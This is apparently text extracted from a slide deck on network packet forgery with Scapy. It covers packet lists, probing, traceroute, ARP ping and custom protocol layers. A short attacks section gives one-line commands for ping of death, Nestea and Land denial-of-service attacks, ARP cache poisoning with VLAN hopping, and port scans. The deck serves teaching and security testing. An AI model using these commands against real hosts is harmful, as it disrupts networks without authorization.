00:06:25:4b:00:f3 #FFFFFFFFFFFFFFFFFFFFFFFF
00:04:23:a0:59:bf #FFFFFFFFFFFFFFFFFFFF
00:04:23:a0:59:bf #FFFFFFFFFFFF
00:06:25:4b:00:f3 #FFFFFFFFFFFFFFFFFFFF
00:0d:54:99:75:ac #FFFFFFFFFFFFFFFFFFFF
00:06:25:4b:00:f3 #FFFFFFFFFFFFFFFFFFFF

Requires wlan0 interface to provide Prism headers
```
Packet Lists Manipulation

- The result of a sniff, pcap reading, etc. is a list of packets
- The result of a probe is a list of couples (packet sent, packet received) and a list of unanswered packets
- Each result is stored in a special object that can be manipulated
Packet Lists Manipulation
Different Kinds of Packet Lists

PacketList: vanilla packet lists
Dot11PacketList: 802.11 oriented stats, toEthernet() method
SndRcvList: vanilla lists of (send, received) couples
ARPingResult: ARPing oriented show()
TracerouteResult: traceroute oriented show(), graph() method for graphic representation, world_trace() for localized path
Conversations

```python
>>> a = sniff()
>>> a.conversations()
```

![Diagram showing network conversations](image-url)
PS/PDF dump

>>> lst.pdfdump()
Methods

- `summary()` displays a list of summaries of each packet
- `nsummary()` same as previous, with the packet number
- `conversations()` displays a graph of conversations
- `show()` displays the preferred representation (usually `nsummary()`)
- `filter()` returns a packet list filtered with a lambda function
- `hexdump()` returns a hexdump of all packets
- `hexraw()` returns a hexdump of the Raw layer of all packets
- `padding()` returns a hexdump of packets with padding
- `nzpadding()` returns a hexdump of packets with non-zero padding
- `plot()` plots a lambda function applied to the packet list
- `make_table()` displays a table according to a lambda function
Packet Lists Manipulation

Operators

- A packet list can be manipulated like a list
- You can add, slice, etc.

Example

```python
>>> a = rdpcap("/tmp/dcnx.cap")
>>> a
< dcnx.cap: UDP:0 ICMP:0 TCP:20 Other:0>
>>> a[:10]
< mod dcnx.cap: UDP:0 ICMP:0 TCP:10 Other:0>
>>> a+a
< dcnx.cap+dcnx.cap: UDP:0 ICMP:0 TCP:40 Other:0>
```
Packet Lists Manipulation

Using tables

- Tables represent a packet list in a $z = f(x, y)$ fashion.
- `PacketList.make_table()` takes a $\lambda : p \rightarrow [x(p), y(p), z(p)]$
- For `SndRcvList`: $\lambda : (s, r) \rightarrow [x(s, r), y(s, r), z(s, r)]$
- They make a 2D array with $z(p)$ in cells, organized by $x(p)$ horizontally and $y(p)$ vertically.

Example

```python
>>> ans,_ = sr(IP(dst="www.target.com/30")/TCP(dport=[22,25,80]))
>>> ans.make_table(lambda (snd,rcv): ( snd.dst, snd.dport,
                          rcv.sprintf("{TCP:%TCP.flags%}{ICMP:%ICMP.type%}")))
```

<p>| | | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>23.16.3.32</td>
<td>23.16.3.3</td>
<td>23.16.3.4</td>
<td>23.16.3.5</td>
</tr>
<tr>
<td>22</td>
<td>SA</td>
<td>SA</td>
<td>SA</td>
</tr>
<tr>
<td>25</td>
<td>SA</td>
<td>RA</td>
<td>RA</td>
</tr>
<tr>
<td>80</td>
<td>RA</td>
<td>SA</td>
<td>SA</td>
</tr>
</tbody>
</table>
Sending and Receiving

Return first answer

>>>
Sending and Receiving

Return first answer

```python
>>> sr1(IP(dst="192.168.8.1")/ICMP())
```
Sending and Receiving
Return first answer

```python
>>> sr1( IP(dst="192.168.8.1")/ICMP() )
```

Begin emission:
..Finished to send 1 packets.
.*

Received 4 packets, got 1 answers, remaining 0 packets

```
< IP version=4L ihl=5L tos=0x0 len=28 id=46681 flags= frag=0L ttl=64 proto=ICMP chksum=0x3328 src=192.168.8.1 dst=192.168.8.14 options=’’ |< ICMP type=echo-reply code=0 chksum=0xffff id=0x0 seq=0x0 |< Padding load=’\x00\x00\x00\x00\x00\x00\x91\xf49\xea’ |```
Sending and Receiving

Return first answer

```python
>>> sr1( IP(dst="192.168.8.1")/ICMP() )
```

Begin emission:
..Finished to send 1 packets.
.*

Received 4 packets, got 1 answers, remaining 0 packets

```
< IP version=4L ihl=5L tos=0x0 len=28 id=46681 flags= frag=0L
ttl=64 proto=ICMP chksum=0x3328 src=192.168.8.1
dst=192.168.8.14 options=’’ |< ICMP type=echo-reply code=0
chksum=0xffff id=0x0 seq=0x0 |< Padding load=’\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x91\xf4\9e’ |>>>```

Compare this result to *hping*’s one:

```
# hping --icmp 192.168.8.1
HPING 192.168.8.1 (eth0 192.168.8.1): icmp mode set, [...]len=46 ip=192.168.8.1 ttl=64 id=42457 icmp_seq=0 rtt=2.7 ms
```
The \texttt{sr()} command family’s options

\begin{itemize}
  \item \texttt{retry (0)}: if positive: how many times to retry to send unanswered packets
      if negative: how many times to retry when no more answers are given
  \item \texttt{timeout (0)}: how much seconds to wait after the last packet has been sent
  \item \texttt{verbose}: set verbosity
  \item \texttt{multi: (0)} whether to accept multiple answers for one stimulus
  \item \texttt{filter}: BPF filter
  \item \texttt{iface}: to work only on a given iface
\end{itemize}
Sending and Receiving

>>>
Sending and Receiving

>>> sr( IP(dst="target", ttl=(10,20))/TCP(sport=RandShort()) )
Sending and Receiving

```python
>>> sr( IP(dst="target", ttl=(10,20))/TCP(sport=RandShort()) )
Begin emission:
........*...*..*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*****
```
Sending and Receiving

>>> sr( IP(dst="target", ttl=(10,20))/TCP(sport=RandShort()) )
Begin emission:
........*...**.....*****Finished to send 11 packets.
Received 27 packets, got 11 answers, remaining 0 packets
(< Results: UDP:0 TCP:6 ICMP:5 Other:0>,
 < Unanswered: UDP:0 TCP:0 ICMP:0 Other:0>)
>>>
Sending and Receiving

```python
>>> sr( IP(dst="target", ttl=(10,20))/TCP(sport=RandShort()) )
Begin emission:
 ..........*...***.*.*.*****Finished to send 11 packets.
Received 27 packets, got 11 answers, remaining 0 packets
(< Results: UDP:0 TCP:6 ICMP:5 Other:0>,
 < Unanswered: UDP:0 TCP:0 ICMP:0 Other:0>)
>>> res,unans=_
```
Sending and Receiving

>>> sr( IP(dst="target", ttl=(10,20))/TCP(sport=RandShort()) )

Begin emission:

.........*...*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*****Finished to send 11 packets.
Received 27 packets, got 11 answers, remaining 0 packets

(< Results: UDP:0 TCP:6 ICMP:5 Other:0>,
 < Unanswered: UDP:0 TCP:0 ICMP:0 Other:0>)

>>> res,unans=_

>>> res.summary()

IP / TCP 192.168.8.2:37462 > 6.2.1.9:80 S ==>
   Ether / IP / ICMP 12.9.4.1 time-exceeded 0 / IPerror / TCPererror / Padding
IP / TCP 192.168.8.2:45394 > 6.2.1.9:80 S ==>
   Ether / IP / ICMP 12.9.4.19.254 time-exceeded 0 / IPerror / TCPererror
IP / TCP 192.168.8.2:39265 > 6.2.1.9:80 S ==>
   Ether / IP / ICMP 12.9.4.18.50 time-exceeded 0 / IPerror / TCPererror
IP / TCP 192.168.8.2:63692 > 6.2.1.9:80 S ==>
   Ether / IP / ICMP 12.9.4.19.10 time-exceeded 0 / IPerror / TCPererror
IP / TCP 192.168.8.2:61857 > 6.2.1.9:80 S ==>
   Ether / IP / ICMP 12.9.4.19.46 time-exceeded 0 / IPerror / TCPererror
IP / TCP 192.168.8.2:28186 > 6.2.1.9:80 S ==>
   Ether / IP / TCP 6.2.1.9:80 > 192.168.8.2:28186 SA / Padding
IP / TCP 192.168.8.2:9747 > 6.2.1.9:80 S ==>
   Ether / IP / TCP 6.2.1.9:80 > 192.168.8.2:9747 SA / Padding
IP / TCP 192.168.8.2:62614 > 6.2.1.9:80 S ==>
   Ether / IP / TCP 6.2.1.9:80 > 192.168.8.2:62614 SA / Padding
IP / TCP 192.168.8.2:9146 > 6.2.1.9:80 S ==>
   Ether / IP / TCP 6.2.1.9:80 > 192.168.8.2:9146 SA / Padding
IP / TCP 192.168.8.2:44469 > 6.2.1.9:80 S ==>
   Ether / IP / TCP 6.2.1.9:80 > 192.168.8.2:44469 SA / Padding
IP / TCP 192.168.8.2:6862 > 6.2.1.9:80 S ==>
   Ether / IP / TCP 6.2.1.9:80 > 192.168.8.2:6862 SA / Padding
Sending and Receiving

```python
>>> sr( IP(dst="target", ttl=(10,20))/TCP(sport=RandShort()) )
```

Begin emission:

```
..........*..*.*.*.*.*.*****Finished to send 11 packets.
Received 27 packets, got 11 answers, remaining 0 packets
```

(Results: UDP:0 TCP:6 ICMP:5 Other:0),

(Unanswered: UDP:0 TCP:0 ICMP:0 Other:0)

```python
>>> res,unans=_
>>> res.summary()
```

```
IP / TCP 192.168.8.2:37462 > 6.2.1.9:80 S ==>
Ether / IP / ICMP 12.9.4.1 time-exceeded 0 / IPerror / TCPerror / Padding
IP / TCP 192.168.8.2:45394 > 6.2.1.9:80 S ==>
Ether / IP / ICMP 12.9.4.19.254 time-exceeded 0 / IPerror / TCPerror
IP / TCP 192.168.8.2:39265 > 6.2.1.9:80 S ==>
Ether / IP / ICMP 12.9.4.19.50 time-exceeded 0 / IPerror / TCPerror
IP / TCP 192.168.8.2:63692 > 6.2.1.9:80 S ==>
Ether / IP / ICMP 12.9.4.19.10 time-exceeded 0 / IPerror / TCPerror
IP / TCP 192.168.8.2:61857 > 6.2.1.9:80 S ==>
Ether / IP / ICMP 12.9.4.19.46 time-exceeded 0 / IPerror / TCPerror
IP / TCP 192.168.8.2:28186 > 6.2.1.9:80 S ==>
Ether / IP / TCP 6.2.1.9:80 > 192.168.8.2:28186 SA / Padding
IP / TCP 192.168.8.2:9747 > 6.2.1.9:80 S ==>
Ether / IP / TCP 6.2.1.9:80 > 192.168.8.2:9747 SA / Padding
IP / TCP 192.168.8.2:28186 > 6.2.1.9:80 S ==>
Ether / IP / TCP 6.2.1.9:80 > 192.168.8.2:28186 SA / Padding
IP / TCP 192.168.8.2:9747 > 6.2.1.9:80 S ==>
Ether / IP / TCP 6.2.1.9:80 > 192.168.8.2:9747 SA / Padding
IP / TCP 192.168.8.2:9146 > 6.2.1.9:80 S ==>
Ether / IP / TCP 6.2.1.9:80 > 192.168.8.2:9146 SA / Padding
IP / TCP 192.168.8.2:44469 > 6.2.1.9:80 S ==>
Ether / IP / TCP 6.2.1.9:80 > 192.168.8.2:44469 SA / Padding
IP / TCP 192.168.8.2:6862 > 6.2.1.9:80 S ==>
```

First (stimulus,response) couple
Sending and Receiving

```python
>>> sr( IP(dst="target", ttl=(10,20))/TCP(sport=RandShort()) )
Begin emission:
********** Finished to send 11 packets.
Received 27 packets, got 11 answers, remaining 0 packets
(< Results: UDP:0 TCP:6 ICMP:5 Other:0>,
< Unanswered: UDP:0 TCP:0 ICMP:0 Other:0>)
```

```python
>>> res,unans=_
>>> res.summary()
```

**Stimulus we sent**

Philippe BIONDI  
Network packet forgery with Scapy
Sending and Receiving

```python
>>> sr( IP(dst="target", ttl=(10,20))/TCP(sport=RandShort()) )
Begin emission:
.............*..*.*.*.*.*.*****Finished to send 11 packets.
Received 27 packets, got 11 answers, remaining 0 packets
(< Results: UDP:0 TCP:6 ICMP:5 Other:0>,
< Unanswered: UDP:0 TCP:0 ICMP:0 Other:0>)
```

```python
>>> res,unans=_
>>> res.summary()
IP / TCP 192.168.8.2:37462 > 6.2.1.9:80 S ==>
   Ether / IP / ICMP 12.9.4.1 time-exceeded 0 / IPerror / TCPererror / Padding
IP / TCP 192.168.8.2:45394 > 6.2.1.9:80 S ==> Ether / IP / ICMP 12.9.4.18.254 time-exceeded 0 / IPerror / TCPererror / Padding
IP / TCP 192.168.8.2:39265 > 6.2.1.9:80 S ==> Ether / IP / ICMP 12.9.4.18.50 time-exceeded 0 / IPerror / TCPererror / Padding
IP / TCP 192.168.8.2:63692 > 6.2.1.9:80 S ==> Ether / IP / ICMP 12.9.4.19.10 time-exceeded 0 / IPerror / TCPererror / Padding
IP / TCP 192.168.8.2:61857 > 6.2.1.9:80 S ==> Ether / IP / ICMP 12.9.4.19.46 time-exceeded 0 / IPerror / TCPererror / Padding
IP / TCP 192.168.8.2:28186 > 6.2.1.9:80 S ==> Ether / IP / TCP 6.2.1.9:80 > 192.168.8.2:28186 SA / Padding
IP / TCP 192.168.8.2:9747 > 6.2.1.9:80 S ==> Ether / IP / TCP 6.2.1.9:80 > 192.168.8.2:9747 SA / Padding
IP / TCP 192.168.8.2:62614 > 6.2.1.9:80 S ==> Ether / IP / TCP 6.2.1.9:80 > 192.168.8.2:62614 SA / Padding
IP / TCP 192.168.8.2:9146 > 6.2.1.9:80 S ==> Ether / IP / TCP 6.2.1.9:80 > 192.168.8.2:9146 SA / Padding
IP / TCP 192.168.8.2:44469 > 6.2.1.9:80 S ==> Ether / IP / TCP 6.2.1.9:80 > 192.168.8.2:44469 SA / Padding
IP / TCP 192.168.8.2:6862 > 6.2.1.9:80 S ==> Ether / IP / TCP 6.2.1.9:80 > 192.168.8.2:6862 SA / Padding
```

Response we got
Sending and Receiving

```python
>>> sr( IP(dst="target", ttl=(10,20))/TCP(sport=RandShort()) )
Begin emission:
........*************Finished to send 11 packets.
Received 27 packets, got 11 answers, remaining 0 packets
(< Results: UDP:0 TCP:6 ICMP:5 Other:0>,
  < Unanswered: UDP:0 TCP:0 ICMP:0 Other:0>)
```
Result Manipulation

>>>
Result Manipulation

```python
>>> res.make_table()
```
Result Manipulation

```python
>>> res.make_table(lambda (s,r):
    (s.dst, s.ttl, r.sprintf("%IP.src% \t {TCP:%TCP.flags%}"))

```
Result Manipulation

```python
>>> res.make_table( lambda (s,r):
    (s.dst, s.ttl, r.sprintf("%IP.src% \t {TCP:%TCP.flags%}"))
   )
```

6.2.1.9
10 12.9.4.16.173
11 12.9.4.19.254
12 12.9.4.18.50
13 12.9.4.19.10
14 12.9.4.19.46
15 6.2.1.9   SA
16 6.2.1.9   SA
17 6.2.1.9   SA
18 6.2.1.9   SA
19 6.2.1.9   SA
20 6.2.1.9   SA
Result Manipulation

Interesting to see there was unexpected padding. Is it a leak?

>>>
Result Manipulation

Interesting to see there was unexpected padding. Is it a leak?

>>> res
Result Manipulation

Interesting to see there was unexpected padding. Is it a leak?

```python
>>> res[0]
```
Result Manipulation

Interesting to see there was unexpected padding. Is it a leak?

```python
>>> res[0][1]
```
Result Manipulation

Interesting to see there was unexpected padding. Is it a leak?

```python
>>> res[0][1]
< IP version=4L ihl=5L tos=0x0 len=168 id=1648 flags=DF frag=0L
ttl=248 proto=ICMP chksum=0xab91 src=12.9.4.1 dst=192.168.8.2 options=’’ |< ICMP type=time-exceeded code=0 chksum=0xb9e id=0x0 seq=0x0 |< IPerror version=4L ihl=5L tos=0x0 len=44 id=1 flags= frag=0L ttl=1 proto=TCP chksum=0xa34c src=192.168.8.2 dst=6.2.1.9 options=’’ |< TCPerror sport=37462 dport=80 seq=0L ack=0L dataofs=6L reserved=0L flags=S window=0 chksum=0xef00
urgp=0 options=[(’MSS’, 1460)] |< Padding load=’\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x
Outline

1. Problematic
   - State of the art
   - Arbitrary limitations
   - Decode or interpret?

2. Scapy
   - Concepts
   - Quick overview
   - High-level commands
   - Extending Scapy

3. Network discovery and attacks
   - One shots
   - Scanning
   - TTL tricks

4. Conclusion
High-Level commands

Traceroute

```python
```
High-Level commands
Traceroute

```python
Received 90 packets, got 90 answers, remaining 0 packets
  17.112.152.32:tcp80 198.133.219.25:tcp80 207.46.19.30:tcp80
  
1  172.16.15.254  11  172.16.15.254  11  172.16.15.254  11
2  172.16.16.1    11  172.16.16.1    11  172.16.16.1    11
   [...]
11  212.187.128.57 11  212.187.128.57 11  212.187.128.46 11
12  4.68.128.106   11  4.68.128.106   11  4.68.128.102   11
13  4.68.97.5      11  64.159.1.130   11  209.247.10.133 11
14  4.68.127.6     11  4.68.123.73   11  209.247.9.50   11
15  12.122.80.22   11  4.0.26.14     11  63.211.220.82 11
16  12.122.10.2    11  128.107.239.53 11  207.46.40.129 11
17  12.122.10.6    11  128.107.224.69 11  207.46.35.150 11
18  12.122.2.245   11  198.133.219.25 SA  207.46.37.26 11
19  12.124.34.38   11  198.133.219.25 SA  64.4.63.70   11
20  17.112.8.11    11  198.133.219.25 SA  64.4.62.130 11
21  17.112.152.32  SA  198.133.219.25 SA  207.46.19.30 SA
   [...]
```

Philippe BIONDI
Network packet forgery with Scapy

58/114
High-Level commands

Traceroute

```python
Received 90 packets, got 90 answers, remaining 0 packets
1 172.16.15.254 11 172.16.15.254 11 172.16.15.254 11
2 172.16.16.1 11 172.16.16.1 11 172.16.16.1 11
...]
11 212.187.128.57 11 212.187.128.57 11 212.187.128.46 11
12 4.68.128.106 11 4.68.128.106 11 4.68.128.102 11
13 4.68.97.5 11 64.159.1.130 11 209.247.10.133 11
14 4.68.127.6 11 4.68.123.73 11 209.247.9.50 11
15 12.122.80.22 11 4.0.26.14 11 63.211.220.82 11
16 12.122.10.2 11 128.107.239.53 11 207.46.40.129 11
17 12.122.10.6 11 128.107.224.69 11 207.46.35.150 11
18 12.122.2.245 11 198.133.219.25 SA 207.46.37.26 11
19 12.124.34.38 11 198.133.219.25 SA 64.4.63.70 11
20 17.112.8.11 11 198.133.219.25 SA 64.4.62.130 11
21 17.112.152.32 SA 198.133.219.25 SA 207.46.19.30 SA
...]
>>> ans[0][1]
< IP version=4L ihl=5L tos=0xc0 len=68 id=11202 flags= frag=0L ttl=64 proto=ICMP chksum=0xd6b3 src=172.16.15.254 dst=172.16.15.101 options=''
 | ICMP type=time-exceeded code=0 chksum=0x5a20 id=0x0 seq=0x0 |
 < IPerror version=4L ihl=5L tos=0x0 len=40 id=14140 flags= frag=0L ttl=1 proto=TCP chksum=0x1d8f src=172.16.15.101 dst=17.112.152.32 options=''
 | TCPerror sport=18683 dport=80 seq=1345082411L ack=0L dataofs=5L reserved=16L flags=S window=0 chksum=0x5d3a urpgr=0
 >>>
```
High-Level commands
Traceroute

```python
Received 90 packets, got 90 answers, remaining 0 packets  
    17.112.152.32:tcp80 198.133.219.25:tcp80 207.46.19.30:tcp80  
1  172.16.15.254  11  172.16.15.254  11  172.16.15.254  11  
2  172.16.16.1  11  172.16.16.1  11  172.16.16.1  11  
[...]
11 212.187.128.57  11  212.187.128.57  11  212.187.128.46  11  
12  4.68.128.106  11  4.68.128.106  11  4.68.128.102  11  
13  4.68.97.5  11  64.159.1.130  11  209.247.10.133  11  
14  4.68.127.6  11  4.68.123.73  11  209.247.9.50  11  
15 12.122.80.22  11  4.0.26.14  11  63.211.220.82  11  
16 12.122.10.2  11  128.107.239.53  11  207.46.40.129  11  
17 12.122.10.6  11  128.107.224.69  11  207.46.35.150  11  
18 12.122.2.245  11  198.133.219.25  SA  207.46.37.26  11  
19 12.124.34.38  11  198.133.219.25  SA  64.4.63.70  11  
20  17.112.8.11  11  198.133.219.25  SA  64.4.62.130  11  
21 17.112.152.32  SA  198.133.219.25  SA  207.46.19.30  SA  
[...]
```
High-Level commands
Traceroute graphing, AS clustering

>>> ans.graph()
High-Level commands
Traceroute graphing, AS clustering

>>> ans.graph()
High-Level commands
Traceroute graphing, AS clustering

17.112.152.32 80: SA

17.112.8.11

714
[APPLE-ENGINEERING - Apple Comp]

12.122.10.2

12.122.10.6

12.122.2.245

12.124.34.38

12.107.239.53

12.107.224.69

198.133.219.25 80: SA

12076
[HOTMAIL-AS - Hotmail Corporation]

12.107.40.129

12.107.35.150

12.107.37.26

17.112.8.11

64.4.63.70

64.4.62.130

207.46.19.30 80: SA

207.46.30.150

207.46.37.26
High-Level commands

ARP ping

>>> arping("172.16.15.0/24")

Begin emission:
*Finished to send 256 packets.
*
Received 2 packets, got 2 answers, remaining 254 packets
00:12:3f:0a:84:5a 172.16.15.64
00:12:79:3d:a3:6a 172.16.15.254
(< ARPing: UDP:0 TCP:0 ICMP:0 Other:2>,
< Unanswered: UDP:0 TCP:0 ICMP:0 Other:254>)
Outline

1. Problematic
   - State of the art
   - Arbitrary limitations
   - Decode or interpret?

2. Scapy
   - Concepts
   - Quick overview
   - High-level commands
   - Extending Scapy

3. Network discovery and attacks
   - One shots
   - Scanning
   - TTL tricks

4. Conclusion
Implementing a new protocol

- Each layer is a subclass of Packet
- Each layer is described by a list of fields
- This description is sufficient for assembly and disassembly
- Each field is an instance of a Field subclass
- Each field has at least a name and a default value

Example

```python
class Test(Packet):
    name = "Test protocol"
    fields_desc = [
        ByteField("field1", 1),
        XShortField("field2", 2),
        IntEnumField("field3", 3, { 1: "one", 10: "ten" }),
    ]
```
Implementing a new protocol

Some field classes

- **ByteField:** A field that contains a byte
- **XByteField:** A byte field whose representation is hexadecimal
- **ShortField:** A field that contains a short (2 bytes)
- **XShortField:** A short field represented in hexadecimal
- **LEShortField:** A short field coded in little endian on the network
- **IntField:** An int field (4 bytes)
- **BitField:** A bit field. Must be followed by other bit fields to stop on a byte boundary
- **ByteEnumField:** A byte field whose values can be mapped to names
- **ShortEnumField:** A short field whose values can be mapped to names
- **StrLenField:** A string field whose length is encoded in another field
- **FieldLenField:** A field that encode the length of another field
- **MACField:** A field that contains a MAC address
- **IPField:** A field that contains an IP address
- **IPoptionsField:** A field to manage IP options
Implementing a new protocol

Example of the Ethernet protocol

class Ether(Packet):
    name = "Ethernet"
    fields_desc = [ DestMACField("dst"),
                    SourceMACField("src"),
                    XShortEnumField("type", 0, ETHER_TYPES) ]

    def answers(self, other):
        if isinstance(other, Ether):
            if self.type == other.type:
                return self.payload.answers(other.payload)
        return 0

    def hashret(self):
        return struct.pack("H", self.type)+self.payload.hashret()

    def mysummary(self):
        return self.sprintf("%Ether.src% > %Ether.dst% (%Ether.type)\n")
Use Scapy in your own tools
Executable interactive add-on

You can extend Scapy in a separate file and benefit from Scapy interaction

Example

```python
#!/usr/bin/env python

from scapy import *

class Test(Packet):
    name = "Test packet"
    fields_desc = [ShortField("test1", 1),
                   ShortField("test2", 2)]

def make_test(x, y):
    return Ether()/IP()/Test(test1=x, test2=y)

interact(mydict=locals(), mybanner="Test add-on v3.14")
```
Use Scapy in your own tools

External script

You can make your own autonomous Scapy scripts

Example

```python
#!/usr/bin/env python

import sys
if len(sys.argv) != 2:
    print "Usage: arping <net>\n    eg: arping 192.168.1.0/24"
    sys.exit(1)

from scapy import srp, Ether, ARP, conf
conf.verb=0
ans, unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=sys.argv[1]),
timeout=2)

for s,r in ans:
    print r.sprintf("%Ether.src% %ARP.psrc%")
```
Continuous traffic monitoring

- use `sniff()` and the `prn` parameter
- the callback function will be applied to every packet
- BPF filters will improve performances
- `store=0` prevents `sniff()` from storing every packets

Example

```python
#!/usr/bin/env python
from scapy import *

def arp_monitor_callback(pkt):
    if ARP in pkt and pkt[ARP].op in (1,2):  # who-has or is-at
        return pkt.sprintf("%ARP.hwsrc% %ARP.psrc%")

sniff(prn=arp_monitor_callback, filter="arp", store=0)
```
Outline

1 Problematic
   • State of the art
   • Arbitrary limitations
   • Decode or interpret ?

2 Scapy
   • Concepts
   • Quick overview
   • High-level commands
   • Extending Scapy

3 Network discovery and attacks
   • One shots
   • Scanning
   • TTL tricks

4 Conclusion
Old school

Malformed packets
send(IP(dst="10.1.1.5", ihl=2, version=3)/ICMP())

Ping of death (Muuahahahah)
send( fragment(IP(dst="10.0.0.5")/ICMP/("X"*60000)) )

Nestea attack
send(IP(dst=target, id=42, flags="MF")/UDP/("X"*10))
send(IP(dst=target, id=42, frag=48)/("X"*116))
send(IP(dst=target, id=42, flags="MF")/UDP/("X"*224))

Land attack (designed for Microsoft® Windows®)
send(IP(src=target, dst=target)/TCP(sport=135, dport=135))

Land attack (designed for Microsoft® Windows®)
send(IP(src=target, dst=target)/TCP(sport=135, dport=135))
ARP cache poisoning through VLAN hopping

This attack prevents a client from joining the gateway by poisoning its ARP cache through a VLAN hopping attack.

**Classic ARP cache poisoning**

\[
\text{send}(\text{Ether}(\text{dst}=\text{clientMAC})/\text{ARP}(\text{op}="\text{who-}\text{has}", \text{psrc}=	ext{gateway, pdst}=	ext{client}),\text{inter}=\text{RandNum}(10,40), \text{loop}=1)
\]

**ARP cache poisoning with double 802.1q encapsulation**

\[
\text{send}(\text{Ether}(\text{dst}=\text{clientMAC})/\text{Dot1Q(vlan=1)/Dot1Q(vlan=2)}/\text{ARP}(\text{op}="\text{who-}\text{has}", \text{psrc}=	ext{gateway, pdst}=	ext{client}),\text{inter}=\text{RandNum}(10,40), \text{loop}=1)
\]
Outline

1 Problematic
   - State of the art
   - Arbitrary limitations
   - Decode or interpret?

2 Scapy
   - Concepts
   - Quick overview
   - High-level commands
   - Extending Scapy

3 Network discovery and attacks
   - One shots
   - Scanning
   - TTL tricks

4 Conclusion
TCP port scan

- Send a TCP SYN on each port
- Wait for a SYN-ACK or a RST or an ICMP error

Sending packets

```python
res, unans = sr( IP(dst="target")/
                 TCP(flags="S", dport=(1,1024)) )
```

Possible result visualization: open ports

```python
res.nsummary( filter=lambda (s,r):
               (r.haslayer(TCP) and
                (r.getlayer(TCP).flags & 2)) )
```
Detect fake TCP replies [Ed3f]

- Send a TCP/IP packet with correct IP checksum and bad TCP checksum
- A real TCP stack will drop the packet
- Some filters or MitM programs will not check it and answer

Sending packets

```
res, unans = sr( IP(dst="target") / TCP(dport=(1,1024), chksum=0xBAD) )
```

Possible result visualization: fake replies

```
res.summary()
```
IP protocol scan

- Send IP packets with every possible value in the protocol field.
- Protocol not recognized by the host $\rightarrow$ ICMP *protocol unreachable*
- Better results if the IP payload is not empty

Sending packets

```
res, unans = sr( IP(dst="target", proto=(0,255))/"XX" )
```

